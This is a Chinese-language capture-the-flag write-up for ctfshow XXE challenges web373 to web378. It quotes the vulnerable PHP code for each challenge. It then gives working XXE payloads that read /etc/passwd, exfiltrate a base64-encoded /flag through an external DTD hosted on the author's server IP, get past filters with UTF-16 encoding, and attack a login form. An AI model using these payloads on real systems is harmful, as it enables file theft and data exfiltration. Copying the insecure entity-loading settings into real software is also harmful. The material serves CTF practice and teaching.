XXE
web373
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
libxml_disable_entity_loader(false); 这一句允许开启外部实体的加载
$ctfshow = $creds->ctfshow; 这里会将 ctfshow 节点的内容提取出来
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY marin SYSTEM "file:///etc/passwd">
]>
<root>
<ctfshow>&marin;</ctfshow>
</root>
读取 flag 成功

web374
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这里没有能输出的地方,感觉需要 ssrf 或者一些外带的手段
先上传一个
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % marin SYSTEM "http://101.35.151.42:8888/1.dtd">
%marin;
]>
<root>
1
</root>
在 vps 中写一个 dtd 文件,然后再启动一下服务,让外部能够访问这个文件
python3 -m http.server 8888

<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://101.35.151.42:8080/%file;'> ">
%dtd;
%xxe;
然后要监听这个里面的端口,就能接收到 flag

整体的逻辑
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!-- 通过伪协议获取服务器中的文件 --> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!-- 引用自己的服务器上的 dtd 文件 --> <!ENTITY % marin SYSTEM "http://101.35.151.42:8888/1.dtd"> <!-- 调用 dtd 文件加载进来 --> <!-- 这里是一个嵌套的,先调用 dtd 触发里面的另一个参数 --> <!-- 里面有一个 xxe 的参数,将前面获取的文件替换,然后会请求目标地址 --> <!-- 这里的 % 就是 % 号 --> <!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://101.35.151.42:8080/%file;'> "> %dtd; %xxe; ]> <root> 1 </root>
web375
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这个匹配前面的 xml
试试直接删除

<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % marin SYSTEM "http://101.35.151.42:8888/1.dtd">
%marin;
]>
<root>
1
</root>

web376
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
和上一题一样的
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % marin SYSTEM "http://101.35.151.42:8888/1.dtd">
%marin;
]>
<root>
1
</root>
web377
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这里多禁用了 http
这里是看 wp 学习的,xml 文档的编码中,不仅支持 utf-8 编码,同时支持 utf-16 编码,使用脚本实现
import requests
url = "https://4e25f406-d37f-4095-9973-9f56cacb6599.challenge.ctf.show/"
payload = '''
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % marin SYSTEM "http://101.35.151.42:8888/1.dtd">
%marin;
]>
<root>
1
</root>'''
payload = payload.encode('utf-16')
print(payload)
re = requests.post(url, data=payload)
print(re.text)

web378
一个神秘的登录框,提示是 python
查看源码
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
发现这里的 post 可以传入 xml ,感觉可以直接对着改
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY marin SYSTEM "file:///etc/passwd">
]>
<user><username>
&marin;
</username><password>123</password></user>
